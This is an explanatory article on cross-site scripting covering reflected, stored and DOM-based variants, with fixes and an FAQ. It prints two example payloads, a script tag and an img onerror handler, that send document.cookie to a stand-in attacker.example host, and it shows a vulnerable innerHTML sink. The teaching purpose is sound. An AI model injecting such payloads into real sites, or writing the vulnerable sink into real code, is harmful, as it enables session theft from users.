The fastest way to actually understand cross-site scripting is to read an xss script example line by line rather than a definition. Below are annotated examples of xss attacks across the three main categories — reflected, stored, and DOM-based — each showing why the payload works and what a fix looks like.
What Makes an XSS Payload Work in the First Place?
Every example of an XSS attack shares the same root cause: user-controlled input gets placed into a page's HTML, JavaScript, or DOM without being encoded for the context it lands in. The browser cannot tell the difference between "data the developer meant to display" and "code the developer meant to run" — it just parses whatever bytes it receives. Once a payload lands in an executable context, the browser runs it with the full trust and session privileges of the page it's embedded in.
Reflected XSS: The Classic Example
Reflected XSS occurs when input from the current request (often a URL parameter) gets echoed back into the page's HTML without encoding. A vulnerable search page might render results like this:
You searched for: [user input inserted here]
If the backend inserts the raw query parameter into that template and a user visits a crafted link containing a payload such as:
<script>fetch('https://attacker.example/steal?c=' + document.cookie)</script>
as the search term, the browser renders that <script> tag as real markup and executes it, sending the visitor's session cookie to the attacker's server. This is why reflected XSS is typically delivered via a link the victim is tricked into clicking — the payload lives in the request, not in stored data.
Stored XSS: Why It's Considered More Dangerous
Stored XSS happens when a malicious payload is saved server-side — in a comment field, a user profile, a support ticket — and then rendered for every subsequent visitor without encoding. A comment box that doesn't sanitize submitted text before storing and later displaying it might allow a payload like:
<img src=x onerror="fetch('https://attacker.example/steal?c=' + document.cookie)">
Here, the onerror handler fires because the src=x deliberately fails to load, and the browser executes the JavaScript in the handler. Because the payload is stored, it fires for every user who views the page containing it — no individual link-click required, which is what makes stored XSS considerably more dangerous than reflected XSS at scale.
DOM-Based XSS: The Payload Never Touches the Server
DOM-based XSS happens entirely on the client side: JavaScript already running in the page reads an untrusted source (like location.hash or document.URL) and writes it into the DOM using a sink that executes markup, such as innerHTML, without the request ever needing to reach the server in a form a server-side scanner would catch. An example:
element.innerHTML = location.hash.substring(1)
If the page is loaded with a URL fragment containing markup, that markup gets written directly into the DOM and executed. Because the vulnerable and dangerous code both run entirely in the browser, this variant frequently evades server-side XSS filters and needs to be caught by static and dynamic analysis that actually understands client-side data flow, or by careful manual review of sink usage.
What Fixes All Three?
The common fix across all three examples is context-aware output encoding: HTML-encode data rendered into HTML body content, JavaScript-encode data rendered into script contexts, and avoid dangerous sinks (innerHTML, document.write, eval) for anything derived from user input. Modern frameworks (React, Vue, Angular) auto-escape by default in most contexts, which is a large part of why XSS rates have fallen in codebases that adopted them — but framework escape hatches (dangerouslySetInnerHTML, v-html, [innerHTML] bindings) reintroduce the exact same risk if used carelessly. A Content Security Policy (CSP) that disallows inline scripts adds a meaningful second layer, since it blocks execution even if a payload does get injected.
FAQ
What's the difference between reflected and stored XSS?
Reflected XSS payloads live in the request (often a URL) and require the victim to click a crafted link. Stored XSS payloads are saved server-side and execute for anyone who later views the affected page, with no link-click needed.
Can XSS steal more than cookies?
Yes. Beyond cookie theft, an XSS payload runs with full access to the page's DOM and can log keystrokes, redirect users to phishing pages, submit forms on the victim's behalf, or pivot into further attacks against an authenticated session.
Do modern frameworks like React eliminate XSS risk?
They substantially reduce it through default auto-escaping, but they don't eliminate it. Escape hatches like dangerouslySetInnerHTML bypass that protection and reintroduce the same risk as manual string concatenation into the DOM.
Is a Content Security Policy enough to prevent XSS on its own?
No, but it's a strong second layer. A well-configured CSP that blocks inline script execution and unknown script sources can prevent many XSS payloads from executing even when an injection point exists, though it should complement output encoding, not replace it.